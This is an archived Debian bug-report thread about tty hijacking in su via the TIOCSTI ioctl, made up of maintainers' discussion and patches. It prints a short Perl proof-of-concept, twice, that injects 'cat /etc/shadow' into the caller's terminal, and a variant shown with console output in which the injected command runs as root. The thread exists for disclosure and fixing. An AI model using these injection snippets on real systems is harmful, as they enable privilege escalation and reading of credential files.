Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Sam Morris]

Source: shadow
Followup-For: Bug #628843

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

su/runuser are provided by util-linux these days. Can this bug be
closed?

- -- System Information:
Debian Release: 12.0
  APT prefers testing
  APT policy: (530, 'testing'), (520, 'unstable'), (500, 'testing-security'), 
(1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 6.1.0-7-amd64 (SMP w/2 CPU threads; PREEMPT)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

-BEGIN PGP SIGNATURE-

iIgEARYIADAWIQTWOGqGn6HETecdzqZOEaKLhlAYigUCZEo5zxIcc2FtQHJvYm90
cy5vcmcudWsACgkQThGii4ZQGIrPXQD/cwQDVq34zy/KZ0iOzcsQGfwUYiCrycss
qdxSuGlBoiEBANAB1vhWhZVyDYG5e/E8qrYXKMiVvOW+G7UxvH+tXaEM
=oCdS
-END PGP SIGNATURE-

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Simon Ruderich]

On Mon, Oct 03, 2016 at 11:07:59PM +0200, up201407...@alunos.dcc.fc.up.pt wrote:
> It's an invasion of privacy, as I said, for normal users.

Sure, but that's not my use case.

> In your case, if you're changing to an unprivileged user without a shell nor
> password, probably some sort of "locked" account, how is an attacker going
> to make use of TIOCSTI to exploit your system? (Assuming you're not going to
> run untrusted applications).
>
> Now imagine that that locked user got compromised. Changing to a compromised
> user IS and will ALWAYS be bad practice. So, if you don't know if the user
> is compromised or not, don't log into that account, as simple as that. All
> sorts of bad things can happen.

I see your point.

But there's always a trade-off between security and usability.
And logging in as a (possibly compromised) user makes working
with user separation much easier and should still be as secure as
possible (that's why I want to fix su and sudo). I know an
attacker could exploit my terminal emulator when I log in, but
it's better than no isolation at all IMHO.

Anyway, this is off-topic, so let's take this off-list if you
want to discuss it further.

Regards
Simon
-- 
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9


signature.asc
Description: PGP signature

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[up201407890]

Quoting "Simon Ruderich" :

It's an invasion of privacy, as I said, for normal users.

In your case, if you're changing to an unprivileged user without a  
shell nor password, probably some sort of "locked" account, how is an  
attacker going to make use of TIOCSTI to exploit your system?  
(Assuming you're not going to run untrusted applications).


Now imagine that that locked user got compromised. Changing to a  
compromised user IS and will ALWAYS be bad practice. So, if you don't  
know if the user is compromised or not, don't log into that account,  
as simple as that. All sorts of bad things can happen.


Just my 2 cents.

On Mon, Oct 03, 2016 at 09:58:23PM +0200,  
up201407...@alunos.dcc.fc.up.pt wrote:

Anyways, it is bad admin practice and/or an invasion of privacy to su to an
unprivileged user.


Please explain to me why this is bad admin practice.

Lets assume I have an unprivileged user which is used to execute
a script in an isolated context. Now that script breaks and I
have to debug it. The user has no shell nor password. How do I
run a command as that user? What I did in the past was to run su
-s /bin/sh user and then debug and fix the problem. What is wrong
with that setup?


This has been talked alot in the past, in most of the times even closed as
"WONTFIX".


In that case su should prevent a user from doing it, not causing
a security hole and not documenting that fact.


What I'm saying is, it's OK if you can't come up with something. Better use
'su -c' in any case.


Often a terminal with a shell makes debugging much less painful.
su -c doesn't help there.

Regards
Simon
--
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9






This message was sent using IMP, the Internet Messaging Program.

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Simon Ruderich]

On Mon, Oct 03, 2016 at 09:58:23PM +0200, up201407...@alunos.dcc.fc.up.pt wrote:
> Anyways, it is bad admin practice and/or an invasion of privacy to su to an
> unprivileged user.

Please explain to me why this is bad admin practice.

Lets assume I have an unprivileged user which is used to execute
a script in an isolated context. Now that script breaks and I
have to debug it. The user has no shell nor password. How do I
run a command as that user? What I did in the past was to run su
-s /bin/sh user and then debug and fix the problem. What is wrong
with that setup?

> This has been talked alot in the past, in most of the times even closed as
> "WONTFIX".

In that case su should prevent a user from doing it, not causing
a security hole and not documenting that fact.

> What I'm saying is, it's OK if you can't come up with something. Better use
> 'su -c' in any case.

Often a terminal with a shell makes debugging much less painful.
su -c doesn't help there.

Regards
Simon
-- 
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9


signature.asc
Description: PGP signature

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Simon Ruderich]

On Mon, Oct 03, 2016 at 09:49:08PM +0200, Karel Zak wrote:
> Yes, I'm thinking about this way (as discussed on util-linux
> mailing list), but it's relatively complex.

I have a working solution here. It's a standalone program and not
very well tested, but works fine for me. Just tell me if you want
to get the source. (Disclaimer: I'm no terminal expert, so be
careful with trusting it too much.)

This bug also has some patches which implement exactly that and
may just need a little refinement.

Regards
Simon
-- 
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9


signature.asc
Description: PGP signature

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[up201407890]

Quoting "Karel Zak" :

Anyways, it is bad admin practice and/or an invasion of privacy to su  
to an unprivileged user.


This has been talked alot in the past, in most of the times even  
closed as "WONTFIX".


What I'm saying is, it's OK if you can't come up with something.  
Better use 'su -c' in any case.



On Mon, Oct 03, 2016 at 09:34:14PM +0200, Simon Ruderich wrote:
On Mon, Oct 03, 2016 at 09:22:50PM +0200,  
up201407...@alunos.dcc.fc.up.pt wrote:

> Loss of job control in the shell.

I'm confused. I'm not talking about removing the controlling
terminal, but instead spawning a new session, opening a new pts
and connecting that to the program. This way the program has a
tty, job control works, but the tty is different and therefore
can't be controlled by the less-privileged account.


Yes, I'm thinking about this way (as discussed on util-linux
mailing list), but it's relatively complex.

My plan is to try to implement it. We will see.

Karel

--
 Karel Zak  
 http://karelzak.blogspot.com






This message was sent using IMP, the Internet Messaging Program.

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Karel Zak]

On Mon, Oct 03, 2016 at 09:34:14PM +0200, Simon Ruderich wrote:
> On Mon, Oct 03, 2016 at 09:22:50PM +0200, up201407...@alunos.dcc.fc.up.pt 
> wrote:
> > Loss of job control in the shell.
> 
> I'm confused. I'm not talking about removing the controlling
> terminal, but instead spawning a new session, opening a new pts
> and connecting that to the program. This way the program has a
> tty, job control works, but the tty is different and therefore
> can't be controlled by the less-privileged account.

Yes, I'm thinking about this way (as discussed on util-linux
mailing list), but it's relatively complex.

My plan is to try to implement it. We will see.

Karel

-- 
 Karel Zak  
 http://karelzak.blogspot.com

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Simon Ruderich]

On Mon, Oct 03, 2016 at 09:22:50PM +0200, up201407...@alunos.dcc.fc.up.pt wrote:
> Loss of job control in the shell.

I'm confused. I'm not talking about removing the controlling
terminal, but instead spawning a new session, opening a new pts
and connecting that to the program. This way the program has a
tty, job control works, but the tty is different and therefore
can't be controlled by the less-privileged account.

Regards
Simon
-- 
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9


signature.asc
Description: PGP signature

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[up201407890]

Quoting "Simon Ruderich" :

Loss of job control in the shell.


On Mon, Oct 03, 2016 at 04:22:47PM +0200, Karel Zak wrote:

The problem is that we don't want to use setsid() in all situations,
because it will introduce regressions. From util-linux ReleaseNotes:


Hello,

Thanks for your quick reply.

In which situations will this cause regressions? I tried to find
cases where this will break, but I can't think of any (I guess
that's because I'm just using su in a very basic way).

Regards
Simon
--
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9






This message was sent using IMP, the Internet Messaging Program.

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Simon Ruderich]

On Mon, Oct 03, 2016 at 04:22:47PM +0200, Karel Zak wrote:
> The problem is that we don't want to use setsid() in all situations,
> because it will introduce regressions. From util-linux ReleaseNotes:

Hello,

Thanks for your quick reply.

In which situations will this cause regressions? I tried to find
cases where this will break, but I can't think of any (I guess
that's because I'm just using su in a very basic way).

Regards
Simon
-- 
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9


signature.asc
Description: PGP signature

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Simon Ruderich]

On Mon, Oct 03, 2016 at 04:11:41PM +0200, up201407...@alunos.dcc.fc.up.pt wrote:
> Btw, at least in redhat based systems, su uses setsid() when the -c option
> is given, just like use_pty in sudo. Not sure if this is true in debian.

Yes, that's true in Debian as well.

Regards
Simon
-- 
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9


signature.asc
Description: PGP signature

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Karel Zak]

On Mon, Oct 03, 2016 at 03:34:49PM +0200, Simon Ruderich wrote:
> @Karel: Could you please have a look at the patches in this bug
> report which use setsid() to create a new session and adapt your
> commit with a patch based on this approach? Sudo's use_pty option
> does the same to fix this issue (but not enabled by default).

I'll think about it.

Karel

-- 
 Karel Zak  
 http://karelzak.blogspot.com

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Karel Zak]

On Mon, Oct 03, 2016 at 04:11:41PM +0200, up201407...@alunos.dcc.fc.up.pt wrote:
> Quoting "Simon Ruderich" :
> 
> Btw, at least in redhat based systems, su uses setsid() when the -c option
> is given, just like use_pty in sudo. Not sure if this is true in debian.

The problem is that we don't want to use setsid() in all situations,
because it will introduce regressions. From util-linux ReleaseNotes:

 CVE-2016-2779
 
 This security issue is NOT FIXED yet.  It is possible to disable the
 ioctl TIOCSTI by setsid() only.  Unfortunately, setsid() has
 well-defined use cases in su(1) and runuser(1) and any changes would
 introduce regressions.  It seems we need a better way -- ideally
 another ioctl (or whatever is supported by the kernel) to disable
 TIOCSTI without setsid().

and yes, blacklisting ioctl is hack.

Karel

-- 
 Karel Zak  
 http://karelzak.blogspot.com

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[up201407890]

Quoting "Simon Ruderich" :

Btw, at least in redhat based systems, su uses setsid() when the -c  
option is given, just like use_pty in sudo. Not sure if this is true  
in debian.


On Sun, Oct 02, 2016 at 10:54:06AM +0200,  
up201407...@alunos.dcc.fc.up.pt wrote:

Hello Simon,

This has been recently patched by using seccomp to blacklist this ioctl.

https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2


Hello,

This is an awful hack! Blacklisting this single ioctl will fix
only this specific issue, but the underlying problem, that the
unprivileged user has access to the original tty, is still
unfixed.

The (later) patches in this bug report go in a different
direction and fix the underlying problem by opening a new session
with a separate tty and "proxying" the output (SSH also uses this
approach - only over the network). This seems to me like a much
better option than blacklisting a single ioctl.

@Karel: Could you please have a look at the patches in this bug
report which use setsid() to create a new session and adapt your
commit with a patch based on this approach? Sudo's use_pty option
does the same to fix this issue (but not enabled by default).

Regards
Simon
--
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9






This message was sent using IMP, the Internet Messaging Program.

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Simon Ruderich]

On Sun, Oct 02, 2016 at 10:54:06AM +0200, up201407...@alunos.dcc.fc.up.pt wrote:
> Hello Simon,
>
> This has been recently patched by using seccomp to blacklist this ioctl.
>
> https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2

Hello,

This is an awful hack! Blacklisting this single ioctl will fix
only this specific issue, but the underlying problem, that the
unprivileged user has access to the original tty, is still
unfixed.

The (later) patches in this bug report go in a different
direction and fix the underlying problem by opening a new session
with a separate tty and "proxying" the output (SSH also uses this
approach - only over the network). This seems to me like a much
better option than blacklisting a single ioctl.

@Karel: Could you please have a look at the patches in this bug
report which use setsid() to create a new session and adapt your
commit with a patch based on this approach? Sudo's use_pty option
does the same to fix this issue (but not enabled by default).

Regards
Simon
-- 
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x92FEFDB7E44C32F9


signature.asc
Description: PGP signature

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[up201407890]

Hello Simon,

This has been recently patched by using seccomp to blacklist this ioctl.

https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2


This message was sent using IMP, the Internet Messaging Program.

Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl

[Simon Ruderich]

Package: login
Version: 1:4.2-3+deb8u1
Followup-For: Bug #628843

Hello,

Any news on this?

I'm deeply worried that this security issue in su was not fixed
since it was reported over 5 years ago! It still affects jessie
and sid. And the possible implications are not mentioned in the
man page.

As this breaks the use of su to change to less-privileged users,
what is the recommendation to perform this task without using su?

Regards
Simon
-- 
+ privacy is necessary
+ using gnupg http://gnupg.org
+ public key id: 0x1972F726F0D556E7


signature.asc
Description: Digital signature

Bug#628843: login: tty hijacking possible in su via TIOCSTI, ioctl

[Ismaël RUAU]

found 1:4.1.5.1-1

This problem still exists in Wheezy.

-- 
Ismaël RUAU


--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org

Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Fabien C.]

Hello, 

I think Ismaël has a point here: 

 I'm bumping this bug to point out that the problem is not 100% fixed.
 Even though su -c is now safe, interactive su or su - are still at
 risk and this should probably be reflected here on the BTS.

I successfully used this on my up-to-date Squeeze system. 

However, one can use the following workaround to avoid giving root access: 
 # exec su baduser 

However this is still problematic: 
 niceguy$ su
root$ exec su badguy
  badguy$ ./exploit.pl 

 = the command is still launched by niceguy. 

Not sure if a good solution exists... 

Fabien C. 


--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org

Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Ismaël RUAU]

Hello,

I'm bumping this bug to point out that the problem is not 100% fixed.
Even though su -c is now safe, interactive su or su - are still at
risk and this should probably be reflected here on the BTS.

Unfortunately I don't see any way to fix this without removing the
controlling terminal of su'ed interactive shells like su -c does, but
this would totally cripple su and render su'ed interactive shells
unusable (su would then become equivalent to su -c $SHELL and we'd
hit bug #659878 which is a PITA).

I'll leave it to you maintainers whether to actually reopen this bug or not.


Scenario:
root uses su to get an interactive shell into a compromised user
account, which uses the aforementioned exploit, just slightly modified
to send an exit before the actual payload.

On the compromised account side:
 CONSOLE OUTPUT 
test-user$ cat ~/exploit.pl
#!/usr/bin/perl
require sys/ioctl.ph;
open my $tty_fh, '', '/dev/tty' or die $!;
foreach my $c (split //, exit\n.'echo Payload as $(whoami)'.$/) {
ioctl($tty_fh, TIOCSTI, $c);
}

test-user$ cat ~/.bashrc
snip
perl $HOME/exploit.pl
 END CONSOLE OUTPUT 

Now root actually uses su. Note that the only user keystrokes are the
initial su test-user, the rest is entirely automatic and part of the
exploit (I included the user/root shell prompts as displayed on my
terminal).

 CONSOLE OUTPUT 
root# su test-user
exit
echo Payload as $(whoami)
test-user$ exit
root# echo Payload as $(whoami)
Payload as root
 END CONSOLE OUTPUT 


-- 
Ismaël RUAU


--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org

Bug#628843: [Pkg-shadow-devel] Bug#628843: Bug#628843: (forw) Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Nicolas François]

Hello,

One more point to be reviewed.

shadow-utils supports also configurations where PAM is not used.
In that case, su does not fork to exec the interactive shell / command, so
I cannot use setsid().

In that case, I intend to use:

#include termios.h
#include sys/ioctl.h
#include sys/types.h
#include sys/stat.h
#include fcntl.h
int fd;
if ((fd = open (/dev/tty, O_RDWR)) = 0) {
ioctl (fd, TIOCNOTTY, (char *) 0);
close (fd);
}

I think this should be sufficient to protect the terminal (i.e.
re-attaching to it is not possible). This looks simpler than:
pid_t child = fork();
if (child == -1) {
...
} else if (child  0) {
_exit(0);
}
setsid();
(In this version I would need again to handle the signals manually instead
of the _exit())

Also if the above ioctl is sufficient, is there a benefit from setsid()?

Best Regards,
-- 
Nekral



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org

Bug#628843: [Pkg-shadow-devel] Bug#628843: (forw) Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Christian PERRIER]

Quoting Thijs Kinkhorst (th...@debian.org):

 Hi Christian,
 
 I'm just mailing to confirm that we did record the issue in our tracker and 
 to 
 point out that this issue is currently also discueed on oss-security:
 http://thread.gmane.org/gmane.comp.security.oss.general/5172

Thanks, Thijs, for your answer.

I'm more reliefed now that Nicolas popped up and even proposed a
preliminary patch. I don't have the expertise to give any advice about
his patch but I think that we have there a good start for  an
up-to-come fix.

During last week, Nicolas was active cleaning out things for shadow
so I think we can have some good hope to have a fixed issue at some
moment in the near future...

But, as Nicolas mentioned, an expert review of his proposal would be
very much welcomed.




signature.asc
Description: Digital signature

Bug#628843: (forw) [Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Thijs Kinkhorst]

Op donderdag 02 juni 2011 07:34:59 schreef Christian PERRIER:
 Security team, I need advice and help here. My co-maintainer for
 shadow, Nicolas, is more or less MIA, so I'm left nearly alone to
 maintain shadow. As Nicolas was also upstream, you understand how
 desperate is my situation..:-)
 
 (maybe this bug will ring a bell for Nicolas, still)
 
 My expertise is, as you may expect, way outreached. So, in short, what
 I need is someone with enough expertise to look at this bug report and
 help deciding if adopting Redhat's patch is correct (assuming it
 applies: I'm not sure that RH is using the same su than we do).
 
 Mail CC'ed to submitter, too, so that Daniel also knows that the only
 person who answersneeds help..:-)

Hi Christian,

I'm just mailing to confirm that we did record the issue in our tracker and to 
point out that this issue is currently also discueed on oss-security:
http://thread.gmane.org/gmane.comp.security.oss.general/5172


Thijs



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org

Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Nicolas François]

Hello,

Here is a patch proposal. It forwards the right signal to the child also
supports SIGTSTP.

I would appreciate if this could be reviewed by somebody more confident
with signal processing than me.

I expect sudo to have the same issue.

Also sg probably has the same issue (i.e. it cannot be used to drop group
privileges). I will look at it.

Other utils to switch user or group might also be affected.
(Anybody got a list and could try?)


Best Regards,
-- 
Nekral
Index: src/su.c
===
--- src/su.c	(révision 3317)
+++ src/su.c	(copie de travail)
@@ -88,7 +88,7 @@
 
 #ifdef USE_PAM
 static pam_handle_t *pamh = NULL;
-static bool caught = false;
+static int caught = 0;
 /* PID of the child, in case it needs to be killed */
 static pid_t pid_child = 0;
 #endif
@@ -235,9 +235,9 @@
 
 #ifdef USE_PAM
 /* Signal handler for parent process later */
-static void catch_signals (unused int sig)
+static void catch_signals (int sig)
 {
-	caught = true;
+	caught = sig;
 }
 
 /* This I ripped out of su.c from sh-utils after the Mandrake pam patch
@@ -264,6 +264,11 @@
 		if (doshell) {
 			(void) shell (shellstr, (char *) args[0], envp);
 		} else {
+			/* There is no need for a controlling terminal.
+			 * This avoids the callee to inject commands on
+			 * the caller's tty. */
+			(void) setsid ();
+
 			execve_shell (shellstr, (char **) args, envp);
 		}
 
@@ -283,9 +288,9 @@
 		(void) fprintf (stderr,
 		_(%s: signal malfunction\n),
 		Prog);
-		caught = true;
+		caught = SIGTERM;
 	}
-	if (!caught) {
+	if (0 == caught) {
 		struct sigaction action;
 
 		action.sa_handler = catch_signals;
@@ -296,36 +301,66 @@
 		if (   (sigaddset (ourset, SIGTERM) != 0)
 		|| (sigaddset (ourset, SIGALRM) != 0)
 		|| (sigaction (SIGTERM, action, NULL) != 0)
+		|| (   !doshell /* handle SIGINT (Ctrl-C), SIGQUIT
+		 * (Ctrl-\), and SIGTSTP (Ctrl-Z)
+		 * since the child does not control
+		 * the tty anymore.
+		 */
+		 (   (sigaddset (ourset, SIGINT)  != 0)
+		|| (sigaddset (ourset, SIGQUIT) != 0)
+		|| (sigaddset (ourset, SIGTSTP) != 0)
+		|| (sigaction (SIGINT,  action, NULL) != 0)
+		|| (sigaction (SIGQUIT, action, NULL) != 0))
+		|| (sigaction (SIGTSTP,  action, NULL) != 0))
 		|| (sigprocmask (SIG_UNBLOCK, ourset, NULL) != 0)
 		) {
 			fprintf (stderr,
 			 _(%s: signal masking malfunction\n),
 			 Prog);
-			caught = true;
+			caught = SIGTERM;
 		}
 	}
 
-	if (!caught) {
+	if (0 == caught) {
+		bool stop = true;
+
 		do {
 			pid_t pid;
+			stop = true;
 
 			pid = waitpid (-1, status, WUNTRACED);
 
-			if (((pid_t)-1 != pid)  (0 != WIFSTOPPED (status))) {
+			/* When interrupted by signal, the signal will be
+			 * forwarded to the child, and termination will be
+			 * forced later.
+			 */
+			if (   ((pid_t)-1 == pid)
+			 (EINTR == errno)
+			 (SIGTSTP == caught)) {
+/* Except for SIGTSTP, which request to
+ * stop the child.
+ * We will SIGSTOP ourself on the next
+ * waitpid round.
+ */
+kill (child, SIGSTOP);
+stop = false;
+			} else if (   ((pid_t)-1 != pid)
+			(0 != WIFSTOPPED (status))) {
 /* The child (shell) was suspended.
  * Suspend su. */
 kill (getpid (), SIGSTOP);
 /* wake child when resumed */
 kill (pid, SIGCONT);
+stop = false;
 			}
-		} while (0 != WIFSTOPPED (status));
+		} while (!stop);
 	}
 
-	if (caught) {
+	if (0 != caught) {
 		(void) fputs (\n, stderr);
 		(void) fputs (_(Session terminated, terminating shell...),
 		  stderr);
-		(void) kill (child, SIGTERM);
+		(void) kill (child, caught);
 	}
 
 	ret = pam_close_session (pamh, 0);
@@ -339,7 +374,7 @@
 
 	ret = pam_end (pamh, PAM_SUCCESS);
 
-	if (caught) {
+	if (0 != caught) {
 		(void) signal (SIGALRM, kill_child);
 		(void) alarm (2);
 

Bug#628843: (forw) [Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Daniel Ruoso]

On Thu, Jun 02, 2011 at 07:34:59AM +0200, Christian PERRIER wrote:
 My expertise is, as you may expect, way outreached. So, in short, what
 I need is someone with enough expertise to look at this bug report and
 help deciding if adopting Redhat's patch is correct (assuming it
 applies: I'm not sure that RH is using the same su than we do).

Ok, to give more context to the fix applied by RedHat.

What they did was use setsid() to start a new session and remove the
controlling terminal from the running command. This removes from the
child process the ability to open /dev/tty, which is how the
hijacking works.

But doing only that is complicated because the translation of Ctrl+C
to SIGINT depends on controlling the tty, so you wouldn't be able to
stop the process easily. What they did was simply to add SIGINT to the
signal mask that causes the su to exit the waitpit loop.

The thing I don't like about RedHat's patch is that it turns a SIGINT
on su into a SIGTERM to the process, it would be better to send the
same signal received.

I don't have the time to do it right now, but I can give a shot on
writing a patch that preserves the signal interaction sane, which is
not the case in RedHat.

daniel


signature.asc
Description: Digital signature

Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Daniel Ruoso]

Package: login
Version: 1:4.1.4.2+svn3283-2+squeeze1
Severity: critical

After investigating why RedHat have a different behavior regarding su -c I
found out that there was a patch in RedHat to prevent tty hijacking when using
su -c.

What makes the hijacking possible is that su -c still gives the command a
controlling tty, which means it has ioctl access to /dev/tty. This means it
can send things to the tty input buffer, which will be read just after su
ends.

The original report (with patch) on RedHat (from 2005?!?!?!) is:
https://bugzilla.redhat.com/show_bug.cgi?format=multipleid=173008

A very simple exploit follows (Perl code)

BEGIN_CODE
#!/usr/bin/perl
require sys/ioctl.ph;
open my $tty_fh, '', '/dev/tty' or die $!;
foreach my $c (split //, 'cat /etc/shadow'.$/) {
ioctl($tty_fh, TIOCSTI, $c);
}
END_CODE

The scenario is:

Root runs a command as a less priviledged user with su -c, if the user was
compromised, the script will be able to run commands as root by injecting
keystrokes on the terminal.

-- System Information:
Debian Release: 6.0.1
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 2.6.32-5-686 (SMP w/1 CPU core)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages login depends on:
ii  libc6 2.11.2-10  Embedded GNU C Library: Shared lib
ii  libpam-modules1.1.1-6.1  Pluggable Authentication Modules f
ii  libpam-runtime1.1.1-6.1  Runtime support for the PAM librar
ii  libpam0g  1.1.1-6.1  Pluggable Authentication Modules l

login recommends no packages.

login suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org

Bug#628843: (forw) [Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl

[Christian PERRIER]

tags 628843 help security
thanks

Security team, I need advice and help here. My co-maintainer for
shadow, Nicolas, is more or less MIA, so I'm left nearly alone to
maintain shadow. As Nicolas was also upstream, you understand how
desperate is my situation..:-)

(maybe this bug will ring a bell for Nicolas, still)

My expertise is, as you may expect, way outreached. So, in short, what
I need is someone with enough expertise to look at this bug report and
help deciding if adopting Redhat's patch is correct (assuming it
applies: I'm not sure that RH is using the same su than we do).

Mail CC'ed to submitter, too, so that Daniel also knows that the only
person who answersneeds help..:-)

- Forwarded message from Daniel Ruoso dan...@ruoso.com -

Date: Wed, 1 Jun 2011 15:24:47 -0400
From: Daniel Ruoso dan...@ruoso.com
To: Debian Bug Tracking System sub...@bugs.debian.org
Subject: [Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in su 
via TIOCSTI ioctl
Reply-To: Daniel Ruoso dan...@ruoso.com, 628...@bugs.debian.org
X-CRM114-Status: Good  ( pR: 39.0933 )

Package: login
Version: 1:4.1.4.2+svn3283-2+squeeze1
Severity: critical

After investigating why RedHat have a different behavior regarding su -c I
found out that there was a patch in RedHat to prevent tty hijacking when using
su -c.

What makes the hijacking possible is that su -c still gives the command a
controlling tty, which means it has ioctl access to /dev/tty. This means it
can send things to the tty input buffer, which will be read just after su
ends.

The original report (with patch) on RedHat (from 2005?!?!?!) is:
https://bugzilla.redhat.com/show_bug.cgi?format=multipleid=173008

A very simple exploit follows (Perl code)

BEGIN_CODE
#!/usr/bin/perl
require sys/ioctl.ph;
open my $tty_fh, '', '/dev/tty' or die $!;
foreach my $c (split //, 'cat /etc/shadow'.$/) {
ioctl($tty_fh, TIOCSTI, $c);
}
END_CODE

The scenario is:

Root runs a command as a less priviledged user with su -c, if the user was
compromised, the script will be able to run commands as root by injecting
keystrokes on the terminal.

-- System Information:
Debian Release: 6.0.1
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 2.6.32-5-686 (SMP w/1 CPU core)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages login depends on:
ii  libc6 2.11.2-10  Embedded GNU C Library: Shared lib
ii  libpam-modules1.1.1-6.1  Pluggable Authentication Modules f
ii  libpam-runtime1.1.1-6.1  Runtime support for the PAM librar
ii  libpam0g  1.1.1-6.1  Pluggable Authentication Modules l

login recommends no packages.

login suggests no packages.

-- no debconf information



___
Pkg-shadow-devel mailing list
pkg-shadow-de...@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-shadow-devel


- End forwarded message -

-- 




signature.asc
Description: Digital signature